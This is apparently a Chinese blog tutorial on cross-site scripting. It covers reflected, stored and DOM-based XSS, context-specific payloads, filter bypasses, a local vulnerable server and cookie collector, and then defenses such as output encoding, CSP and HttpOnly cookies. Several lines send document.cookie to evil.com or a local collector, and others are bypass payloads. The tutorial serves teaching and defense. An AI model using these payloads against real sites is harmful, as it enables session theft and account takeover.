☰
跨站脚本攻击XSS从入门到防御:类型、原理与防护方案
2026/10/19 4:44:46 网站建设 项目流程

1. 从一个"弹窗"说起:XSS到底是什么

先丢一个最经典的例子。你在搜索框里输入一个关键词,页面显示"您搜索的内容是:xxx"。正常人输入"hello",页面就老老实实显示"您搜索的内容是:hello"。但如果输入的不是正常文字,而是一段脚本呢?

比如输入这样一行东西:

<script>alert('hacked')</script>

如果页面上原封不动地把这段内容当作HTML渲染出来,浏览器就会真的执行它,弹出一个弹窗。这个弹窗本身没什么杀伤力,但它证明了一件事:你的脚本在别人网站的页面里跑起来了。这就是XSS,Cross-Site Scripting,跨站脚本攻击。

我第一次接触XSS是在某公司的一次内部代码审计任务中。当时接手了一套老旧的PHP系统,需求很简单,修复几个已知问题。翻了半天代码,发现搜索页直接把$_GET['keyword']拼进了HTML:

echo "您搜索的内容是:" . $_GET['keyword'];

那一刻我后背有点发凉。这一行代码,等于把整个网站的前台页面全部敞开了——任何人只要能构造一个带脚本的链接,就能在访问者的浏览器里执行任意脚本,读取登录状态、篡改页面内容、窃取表单输入。这不是危言耸听,这是XSS最基础的攻击形态。

这篇文章就是写给完全没接触过XSS的读者的。我会把攻击原理、三种类型的区别、payload构造思路、防御方案、实操过程中踩过的坑,全部拆开揉碎讲清楚。学完之后,你至少能做到两件事:第一,看到一个会拼接用户输入的位置能敏锐地判断是否存在XSS;第二,知道在自己的代码里怎么有效挡住这类攻击。

2. XSS的三种类型:长得一样,内功路数完全不同

很多人一听到XSS就只想到"输入脚本弹窗",其实XSS按最终触发位置和攻击链路,可以分成三类。这三类在防御思路上差别极大,不搞清楚直接谈防御就是耍流氓。

2.1 反射型XSS:一句话URL藏毒

反射型XSS是最常见、也是最好理解的一种。攻击者把恶意脚本放在URL的参数里,服务端收到参数后,直接或经过简单处理后拼进返回的HTML页面。脚本在服务器"反射"回浏览器时被解析执行。

它有一个特点:脚本不存储在服务端,只在受害者访问特定链接时一次性生效。所以攻击者需要诱导受害者点击这个精心构造的链接。常见的手法包括:在论坛发帖时隐藏一个链接,在即时聊天里发一条带链接的消息,或者通过电子邮件等渠道传播。

这里有个很容易混淆的点。很多人以为反射型XSS只伤害"访问链接的那个人",和攻击者自己有什么关系?实际上攻击链是:受害者点击链接 → 浏览器向服务器发请求 → 服务器在响应中带上恶意脚本 → 浏览器解析执行。如果这个页面里有当前用户的登录态上下文,脚本就可以读取该用户的Cookie、表单数据,甚至以该用户身份发请求。

举个具体例子。假设某网站搜索接口存在反射型XSS,攻击者构造这样一个链接:

https://example.com/search?keyword=<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>

受害者点击后,浏览器会在不知情的情况下把这个请求发给example.com。example.com的服务器把keyword参数原样拼到页面里,脚本执行,把document.cookie发回攻击者的服务器。这时候攻击者就拿到了受害者在example.com的会话凭证。

需要注意的是,现代浏览器对URL中的特殊字符有自动编码,很多情况下直接放尖括号会被浏览器转义或拦截。所以实际攻击中,payload常常需要经过URL编码,或者利用HTML实体、事件属性等方式构造。后面我会在payload构造部分展开。

2.2 存储型XSS:毒植数据库,访问一次中招一次

存储型XSS和反射型的区别就一句话:恶意脚本被持久化保存到服务端(数据库、文件、缓存等),任何用户访问受污染的页面/内容时都会触发,不必单独构造URL。

举一个最典型的场景:评论区。某个博客平台的评论区没有对提交内容做过滤,用户在评论框里填入:

<script>alert('恶意脚本')</script>

服务器把这条评论存进了数据库。之后每个打开这篇文章的访客,浏览器都会执行这段脚本。如果脚本不是弹窗,而是:

<script> fetch('https://evil.com/collect', {method: 'POST', body: document.cookie}); </script>

那这个网站的所有访客Cookie都会被窃取。这就是存储型XSS最可怕的地方——不需要诱导点击,只需要让它污染数据源,就能实现"一次投放、持续收割"。

存储型XSS的渗透难度通常比反射型高,因为它需要攻击者找到一个"能写入数据→数据能被读取展示"的闭合链路,并且服务端往往有或多或少的输入过滤。但正因如此,一旦被利用,影响范围通常是全网用户级别的,属于高危漏洞,在漏洞评级里经常直接标"严重/危急"。

在排查和审计时,我遇到存储型XSS有一个比较实用的判别方法:哪个页面能通过正常浏览流程(非手工构造URL)显示被我们提交的内容,内容和提交内容完全一致或基本一致,那里就是存储型XSS的高发区。评论区、昵称显示、留言板、个人签名、富文本编辑内容是重点背景板。

2.3 DOM型XSS:前端自己坑自己

前面两类XSS的共同点是:服务端把可疑内容拼进了响应HTML。而DOM型XSS完全不需要服务端参与——漏洞本身就是前端JavaScript代码造成的。

一个典型场景如下。页面里有一段这样的代码:

const name = new URLSearchParams(window.location.search).get('name'); document.getElementById('welcome').innerHTML = '欢迎回来,' + name;

用户直接访问带参链接:

https://example.com/#/profile?name=<img src=x onerror=alert(1)>

地址栏参数里的内容被取出来后,通过innerHTML赋值写进DOM。浏览器在解析这个字符串时,把<img onerror=...>当成真实HTML渲染,加载x这个不存在的图片触发onerror事件,执行alert(1)。

这里的关键是,服务端返回的HTML其实是完全正常的静态页面。整个攻击过程发生在客户端浏览器内部,服务端日志里看不到任何恶意字符串——这对排查来说是个麻烦事,因为WAF、访问日志、服务端防护设备全都不起作用。

区分一个漏洞是不是DOM型,有一个简单的心法:在浏览器开发者工具里改地址栏参数,或者直接在控制台里执行取参逻辑,如果页面行为发生变化并执行了脚本,而网络请求面板里根本没有发出带有恶意参数的真实请求,那基本就是DOM型XSS。严格来说,还有一种细分是"基于DOM的反射型"和"基于DOM的存储型",但日常工作中大多数人还是习惯把"纯前端导致"的统一叫DOM型。

2.4 三种类型快速对比

对比维度反射型XSS存储型XSSDOM型XSS
恶意脚本存放位置URL参数服务端数据库/存储浏览器内存/DOM
是否需要用户交互需要诱导点击不需要(访问即触发)需要诱导点击
服务端是否参与拼接参与参与不参与
危害范围单次/限定时点持续、全网用户单次/限定时点
常规服务端防护手段有效有效通常无效

看到这个表格,你应该能理解为什么我一直强调"先分类再防御"了。同样是XSS,服务端输出编码能挡住反射型和存储型,却几乎挡不住DOM型Web攻击。反过来,前端开发者如果不注意安全写法,用innerHTML直接塞用户可控数据,就算后端做得再严,前端照样中招。

3. 从"弹窗"到"偷Cookie":攻击链路实战拆解

接下来进入实操环节。我要带你在自己的本地环境里完整跑一遍"发现漏洞 → 构造payload → 复现攻击 → 验证危害"的全过程。这里强调一下,所有练习请在你的本地虚拟机或授权靶场环境里进行,不要拿别人线上网站做测试,这是底线问题。

3.1 搭建一个漏洞环境

XSS试验环境不需要复杂的架构,我习惯用Python内置的HTTP服务加简单脚本直接搭。为了方便,我用Node.js写一个极简的漏洞页面,逻辑就是"读取URL参数并插入页面"。文件名保存为vuln.js:

const http = require('http'); const url = require('url'); http.createServer((req, res) => { const query = url.parse(req.url, true).query; const keyword = query.keyword || ''; res.writeHead(200, {'Content-Type': 'text/html; charset=utf-8'}); res.end(`<!DOCTYPE html><html><body> <h1>搜索结果</h1> <p>您搜索的内容是:${keyword}</p> <script>console.log('页面加载完成')</script> </body></html>`); }).listen(3000, () => console.log('漏洞服务运行在 http://localhost:3000'));

启动方式:

node vuln.js

正常访问http://localhost:3000/?keyword=hello,可以看到页面显示"您搜索的内容是:hello"。

现在尝试在浏览器地址栏输入http://localhost:3000/?keyword=<script>alert('xss')</script>。有的浏览器会自动对地址栏特殊字符做编码,你需要先手动把尖括号编码成%3C和%3E,也就是:

http://localhost:3000/?keyword=%3Cscript%3Ealert('xss')%3C/script%3E

如果页面弹出弹窗,恭喜,一个最基础的反射型XSS就在你手里复现了。

3.2 为什么直接放script不是总好用

实战里你会发现,很多情况下<script>alert(1)</script>根本不弹窗。不是漏洞不存在,而是单纯用script标签的成功率没你想的那么高。原因有几方面。

一是HTML解析规则。如果你的参数被插入的位置是HTML标签内部属性里,比如:

<input value="用户输入">

你注入<script>标签,虽然一个闭合的<input>之后理论上可以跟一个新标签,但很多主流浏览器在解析时会根据上下文环境把尖括号特殊处理,或者直接不解析为标签结构。这时候就得换个思路,先闭合当前的标签或属性,再想办法触发JavaScript执行。

二是WAF和过滤规则。很多服务端会过滤<script>、alert、onerror这些黑名单关键词。但黑名单过滤是出了名的能绕,因为HTML的解析特性太灵活了。

三是浏览器安全机制。比如响应头如果加了X-XSS-Protection或者Content-Security-Policy,直接执行<script>大概率被拦截;如果是Chrome,在处理某些情况时会自动对URL参数做编码。

所以构造payload的核心思路是:先搞清楚注入点所处的HTML上下文,再选择对应的绕过/触发方式。我把常见的注入上下文列一下,方便你对照理解。

注入位置上下文示例常用payload思路
HTML标签内文本<p>HELP_ME</p>闭合标签:</p><script>alert(1)</script><p>
HTML标签属性内<input value="HELP_ME">闭合属性:"><script>alert(1)</script>
事件属性<img src="HERE">用事件:x" onerror="alert(1)
JavaScript字符串var name = "HERE";闭合字符串:"; alert(1); //
CSS位置<style>body{color:HERE}</style>利用expression或@import等(老旧浏览器)

这是我最想让新手理解的一个点:XSS的本质是"破坏结构后注入代码",不是"塞一个标签就完事"。不同位置决定了你用什么方式去破坏原有结构。

3.3 尝试偷Cookie:一次完整的攻击闭环

弹窗只是"漏洞存在"的证明,真正的危害演示要落到数据窃取上。我还是用刚才那个本地环境,把payload改成发送Cookie的版本。

假设攻击者自己有一个收集端服务器,监听一个固定的端口,准备接收来自目标站点的Cookie数据。收集端的代码可以是:

const http = require('http'); const url = require('url'); http.createServer((req, res) => { const parsed = url.parse(req.url, true); const cookie = parsed.query.cookie || ''; console.log('接到了来自受害者的Cookie:', cookie); res.end('ok'); }).listen(8888, () => console.log('收集端运行在 http://localhost:8888'));

现在我在漏洞页面的keyword参数里输入:

<script>new Image().src='http://localhost:8888/steal?cookie='+encodeURIComponent(document.cookie)</script>

URL编码后访问,片刻后看收集端控制台,如果打印出了document.cookie的内容,就说明在真实环境里攻击者已经成功拿到了受害者的会话凭证。

这里要注意,在真正的攻击场景中,攻击者需要通过"找到两个站点之间的跨域通信方式"来把数据运出去。比如用new Image().src这种打点方式把数据拼到请求URL里,绕开跨域读取限制,因为它是发请求而不会读取响应。这是最经典的XSS数据外带方式。我演示这个只是为了让你理解整个链路,不是教大家去攻击谁。

3.4 绕基础过滤的两三个思路

不少新手学到payload构造就卡住了,因为一加过滤就不知道怎么玩。这里分享几个最基础的绕过思路,但请记住:学习绕过的目的是为了理解防御为何要做纵深,而不是拿绕过技巧去搞破坏。

第一个思路是大小写混合,比如<sCrIpt>alert(1)</sCrIpt>,针对早期简单的黑名单过滤。

第二个是用HTML实体替代部分字符。比如<script>写成&#x3C;script&#x3E;。如果你的注入点在HTML属性里,浏览器在解析DOM时会把实体解码成真实字符,从而在特定场景下绕过基于字符串匹配的过滤。

第三个是利用已有合法标签的事件属性。比如服务端禁止插入<script>,但允许<img>标签,那就用<img src=x onerror=alert(1)>。很多过滤规则只盯住了script,完全没考虑img、svg、svg/onload这些标签和事件。

这些思路并不是什么高深技巧,它们本质都是"研究过滤规则的盲区"。我自己的经验是:与其背诵几十条绕过payload,不如熟练掌握HTML解析规则,然后在本地环境里反复试验。有了清晰的上下文感知能力,你自己就能写出针对性的payload。

4. 防御不是"过滤输入"那么简单

很多人一想到防XSS,第一反应就是"过滤尖括号"。这个想法本身没有错,但只停留在"隔离"这个层面。真正的XSS防御是纵深防御的组合拳:输入验证、输出编码、CSP、Cookie安全属性、框架安全机制,一层套一层,每一层都扛住一部分攻击。

4.1 第一层:输入验证——不信任任何用户数据

输入验证的主要目的是"拒绝明显恶意的输入",但它只适合作为第一道闸,不能作为唯一防线。经典做法是白名单校验。

  • 如果用户输入本应是数字,就严格限制只能有数字。
  • 如果用户输入本应是邮箱,就用正则校验邮箱格式。
  • 如果是富文本内容,就使用靠谱的净化库,把允许的标签白名单化。
  • 如果不是必要场景,直接禁止<>&"'等特殊字符。

我见过很多开发者的误区:觉得"输入校验过了就等于安全了"。实际上,输入校验解决的是"信息完整性"问题,而不是"代码注入"问题。真正决定XSS是否发生的,往往不在于输入被存的时候怎么处理,而在于输出的时候是否被安全编码。所以请把输入验证当作第一道闸,而不是全部。

4.2 第二层:输出编码——真正决定生死的一层

如果说XSS防御只能选一个重点,那我毫不犹豫选输出编码。所有动态插入到HTML里的数据,一律做上下文编码。这里的"上下文"是指这个数据要插入的位置:HTML标签之间、HTML属性里、JavaScript代码里、CSS里——四种位置的编码规则完全不同。

服务端渲染场景下,最基本的编码规则:

插入上下文编码方式典型函数/操作
HTML文本内容转义<>&htmlspecialchars()
HTML属性值转义&"'<>属性专用转义,注意空格、等号
JavaScript字符串对'"\\n等做JS转义json_encode配合JSON.stringify
URL参数URL编码encodeURIComponent()
CSSCSS转义,避免插入expression尽量禁止用户数据进CSS

随手写一个PHP场景做对比。错误写法是:

echo "<p>您搜索的内容是:{$_GET['keyword']}</p>";

正确写法是:

echo "<p>您搜索的内容是:" . htmlspecialchars($_GET['keyword'], ENT_QUOTES, 'UTF-8') . "</p>";

htmlspecialchars默认只转义& < > ",记得加上ENT_QUOTES让单引号也被转义。这是PHP世界里最基础也最实用的防XSS写法。

前端框架场景下,这个原则同样适用,只是形式上不同:不要用innerHTML拼接用户可控数据。改用什么?用textContent(它会自动把内容当纯文本渲染),或者使用框架提供的插值语法。

4.3 第三层:CSP——最后一堵墙

内容安全策略(Content Security Policy)是浏览器级别的一层防线,它的核心作用是:告诉浏览器"这个页面只允许加载来自哪些来源的脚本"。就算攻击者成功在页面里注入了<script>标签,如果CSP配置正确,浏览器会直接拒绝执行,脚本就变成一串无害文本。

最基础的CSP响应头配置长这样:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none'

意思是:所有资源默认只允许从当前域名加载;脚本也只允许当前域名的;禁止加载插件;禁止修改页面基础URI。

CSP在实战中确实有效,但它不是银弹。难点在于:大型站点的业务复杂,常常需要加载第三方SDK、动态脚本,如果配置得太严,业务直接崩;配置得太宽,又等于没配。我的建议是从宽松到严格分阶段收紧,先开启报告模式观察,再逐步限制。很多浏览器支持Content-Security-Policy-Report-Only,只收集违规报告、不拦截,是灰度上线的利器。

4.4 第四层:HttpOnly与Cookie安全属性

XSS攻击最常见的目的是偷Cookie。偷不到Cookie,很多攻击链路就断了一半。所以另一个基础但重要的防御点是:防止客户端脚本读取Cookie。

在设置Cookie时加上HttpOnly属性:

Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict

HttpOnly保证document.cookie拿不到这个Cookie;Secure保证Cookie只在HTTPS下传输;SameSite限制跨站携带Cookie。

但这里必须讲清楚一个容易被误解的点:HttpOnly属性防的是"直接通过document.cookie偷Cookie",但XSS攻击不只有偷Cookie这一种目的。比如攻击者可以完全在页面里接管用户操作,执行任意操作、读取页面内数据、监听键盘事件。所以HttpOnly只是降低危害,不等于防住了XSS。真正的安全标准是:XSS根本不发生,也就是前几层做到位。

4.5 第五层:善用框架自带的安全机制

如果你在用现代前端框架,比如Vue或React,默认情况下它们对插值表达式{{ }}和JSX文本节点都做了自动转义,XSS的生存空间被大大压缩。但框架也不是绝对安全,有几个雷区需要注意。

  • React的dangerouslySetInnerHTML、Vue的v-html,这类"直接渲染HTML字符串"的API一旦用了,框架的安全机制就完全失效。你要自己保证传给它的内容是经过净化的安全HTML。
  • 富文本编辑器输出的HTML字符串,不要直接入库后原样渲染。要么在输出端加白名单净化,要么在存储前就用可靠的净化库清洗。
  • 不要通过eval或new Function执行任何包含用户输入的代码字符串。这类动态执行是XSS绕开框架防御的最便捷路径。

框架自动防护 + 手动规避危险API + 关键位置输出编码,是现代前端安全的三条线。我见过太多"用了React就以为绝对安全"的开发团队,最后因为一个v-html翻车。安全永远是结合场景的动态考量的。

5. 常见问题排查与实操技巧实录

讲完攻击和防御,最后整理一份我在实际工作中反复遇到的问题和排查套路,希望能帮你少走弯路。

5.1 为什么我在本地能弹窗,别人浏览器就不弹?

频率最高的一个问题。原因通常是:

  • 对方浏览器启用了CSP策略,<script>执行被阻止。
  • 对方浏览器对URL做了严格编码,参数里的尖括号变成了%3C,服务端拿到的已经不是原本的尖括号,输出时自然也是编码形态。
  • 对方浏览器版本较新,内置了XSS过滤器。
  • 你的payload依赖了某个事件,但对方浏览器对该事件的触发条件和判定机制不一致。

排查方法是:按类型先区分触发位置,再用开发者工具逐个检查响应HTML里你的payload是否原样出现,以及CSP响应头是否存在。实际测试时,我习惯先在无痕窗口开一个干净环境,排除扩展影响。

5.2 防住了script,为什么还被绕过?

这是很多开发者的困惑。你要明白,XSS的核心不是"标签本身",而是"脚本执行"。黑名单去堵script标签、alert关键字,就像是用筛子拦水,堵住了大颗粒,漏掉小颗粒。img onerror、svg/onload、a href配合javascript:协议、MathML等,都能在不出现<script>的情况下触发JS执行。

所以别再迷信关键词过滤了。最可靠的防御永远是输出编码加上CSP,而不是穷举所有payload。把防范重心从前端拦截转移到输出端处理,才是根治的思路。

5.3 怎么快速判断一段代码是否可能存在XSS?

我提供一个极简的"三步定位法":

  1. 找一切"用户输入"的流动路径:URL参数、请求体字段、Cookie、甚至浏览器存储(localStorage/sessionStorage)。
  2. 找这条路径的"出口":后端拼进HTML的模板位置、前端innerHTML/document.write/v-html/dangerouslySetInnerHTML的赋值位置。
  3. 判断出口处的上下文编码:是否做了对应的转义?如果没有,基本可判定存在XSS风险。

这个方法不依赖任何扫描工具,在代码评审时特别高效。我每次接手别人的项目做安全排查,第一件事就是全局搜索innerHTML、v-html、dangerouslySetInnerHTML、document.write这些高危API,顺着数据流往上追溯。这是种成本最低、见效最快的方式。

5.4 想持续学习XSS,建议什么顺序?

如果你是真想从0到1掌握XSS,我建议按这个顺序推进:先把HTML、JavaScript基础过一遍,不需要精通,但要理解DOM解析规则;然后亲手搭建本地漏洞环境,把反射型、存储型、DOM型各复现一遍;接着系统学习输出编码和CSP配置,对比"加了防御前后"的差异;最后找一些公开的开源靶场或者CTF练习平台做日常训练,但一定要分清练习环境与真实线上环境的边界,遵守测试授权底线。

6. 写在最后:安全不是一次性工程

这篇文章从XSS的三种类型、攻击链路的实操复现,讲到了输出编码、CSP、HttpOnly这些防御手段,覆盖面比较广,但每一块其实都可以单独深入下去。我最后想分享几点个人体会,算是给入门的读者的一点额外提醒。

安全问题不存在"配一次就永远安全"。框架会更新、浏览器策略会变化、业务逻辑会调整,今天防御到位的系统,明天加了一个富文本编辑器或者一个"导出HTML报告"的功能,可能就会重新开一个口子。所以更务实的做法是把安全要求嵌到开发流程里,而不是到了上线前才想起来做一次"安全检查"。

另一个体会是,学习XSS的价值不仅在于"学会一个漏洞类型",更在于它帮你建立了"任何用户输入都不可信"的思维方式。这个思维一旦养成,你再写代码时看到拼接HTML、直接执行动态字符串、把用户数据塞进URL,都会本能地停下来多想想。这种敏感度,比记住多少条payload都值钱。

XSS在漏洞江湖里算入门基本功,但也是最能体现"细节决定成败"的一个方向。希望这篇从0到1的拆解,能让你在遇到第一个"为什么弹不出弹窗"的时候,不再一头雾水。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询